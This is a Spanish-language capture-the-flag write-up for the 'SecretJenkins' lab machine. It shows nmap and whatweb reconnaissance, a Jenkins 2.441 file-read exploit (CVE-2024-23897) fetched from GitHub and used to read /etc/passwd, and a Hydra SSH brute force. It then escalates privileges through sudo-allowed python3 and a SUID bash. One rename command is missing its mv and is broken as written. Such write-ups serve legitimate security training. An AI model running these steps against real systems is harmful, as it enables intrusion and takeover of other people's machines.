> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/secretjenkins-write-up.md).

# SecretJenkins write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/jolEuFryg847nWJIEtQo" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo a la máquina víctima**

Utilizamos la herramienta **Nmap** para escanear los puertos abiertos en la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/UwdZDXDGg8IXrGE7viAD" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y el 8080 (HTTP) están abiertos. Por tanto vamos a poner la IP de la máquina víctima con el puerto 8080 en el navegador (<http://172.17.0.2:8080/>), y vemos que nos aparece que se esta usando **Jekins**, así que vamos a ver que versión se esta utilizando y ver si es vulnerable, para hacerlo vamos a usar la herramienta **Whatweb** con el siguiente comando:

```bash
whatweb http://172.17.0.2:8080/
```

<figure><img src="/files/VTXTcVxtvbrVTa52opQG" alt=""><figcaption></figcaption></figure>

Esta herramienta nos indica que se esta usando la versión de **Jekins** (2.441) la cual es vulnerable. Así que vamos a usar un script que hice yo mismo el cual esta en [Github](https://github.com/Shinkirou789/Jenkins-2.441-exploit). Para instalarlo solo tenemos que poner el siguiente comando:

```bash
git clone https://github.com/Shinkirou789/Jenkins-2.441-exploit.git; cd Jenkins-2.441-exploit; chmod 0700 CVE-2024-23897.sh 
```

Una vez hecho esto solo tenemos que ejecutar el script dando como parámetros el hosts y el archivo que queremos leer. Por ejemplo:

```bash
./CVE-2024-23897.sh http://172.17.0.2:8080/ /etc/passwd 
```

<figure><img src="/files/C6JiOixoL1qZHxklbemN" alt=""><figcaption></figcaption></figure>

Esto nos indica que dos usuarios `pinguinito` y `bobby`, así que ahora haremos un ataque de fuerza bruta con la herramienta llamada **Hydra**, pero primero hacemos un archivo con los dos usuarios y luego haremos el ataque con el siguiente comando:

<figure><img src="/files/uuvHUcEjxdumMAd8iDDO" alt=""><figcaption></figcaption></figure>

```bash
hydra -L usuarios.txt -P /home/shinki/Escritorio/rockyou.txt -I ssh://172.17.0.2 -V -F -u 
```

<figure><img src="/files/5F8sTphVYWTcQN394f8r" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del usuario `bobby` es `chocolate`, así que iniciamos sesión con esa credenciales en el servicio SSH.

<figure><img src="/files/yhND1J73FQoPqcrE2tIV" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `sudo -l` que nos indica que podemos ejecutar el binario **Python** como el usuario `pinguinito` sin necesidad de poner ninguna contraseña, luego lo que haremos será hacer un script de **Python** que ejecute el binario **Bash** y nos devuelva una shell como el usuario `pinguinito`, para hacer el archivo ejecutamos lo siguiente:

```bash
cat > archivo.py
```

Una vez ejecutado el comando escribimos lo siguiente y cuando acabemos presionamos dos veces `Ctrl + D`:

```python
import os 

os.system("/bin/bash")
```

<figure><img src="/files/j70FcrfVvT23OdQiw2dl" alt=""><figcaption></figcaption></figure>

Ahora, ejecutamos el archivo que acabamos de hacer de la siguiente manera:

```bash
sudo -u pinguinito /usr/bin/python3 archivo.py 
```

<figure><img src="/files/cWZ3bYd5Jzsm8xgrOhP9" alt=""><figcaption></figcaption></figure>

Una vez que somos el usuario `pinguinito` volvemos a ejecutar el comando `sudo -l` el cual nos indica que podemos ejecutar el binario **Python** y el fichero **/opt/script.py** como cualquier usuario sin necesidad de contraseña. Así que vamos a cambiar el nombre al archivo **/opt/script.py** con el siguiente comando:

```bash
/opt/script.py /opt/archivo.py
```

Y creamos un nuevo script que tenga de nombre **/opt/script.py**, el cual cuando se ejecute como usuario root otorgara permisos SUID al binario **Bash** de la siguiente manera:

```bash
cat > /opt/script.py
```

Y dentro pondríamos el siguiente código, cuando acabemos pulsamos dos veces `Ctrl + D`:

```bash
import os 

os.system("chmod u+s '/bin/bash'")
```

Y ahora ejecutamos el fichero de la siguiente manera:

```bash
sudo /usr/bin/python3 /opt/script.py
```

Finalmente, ejecutamos el comando `bash -p` para obtener una shell con privilegios elevados:

```bash
bash -p
```

<figure><img src="/files/018125ywngsMgilurfLA" alt=""><figcaption></figcaption></figure>
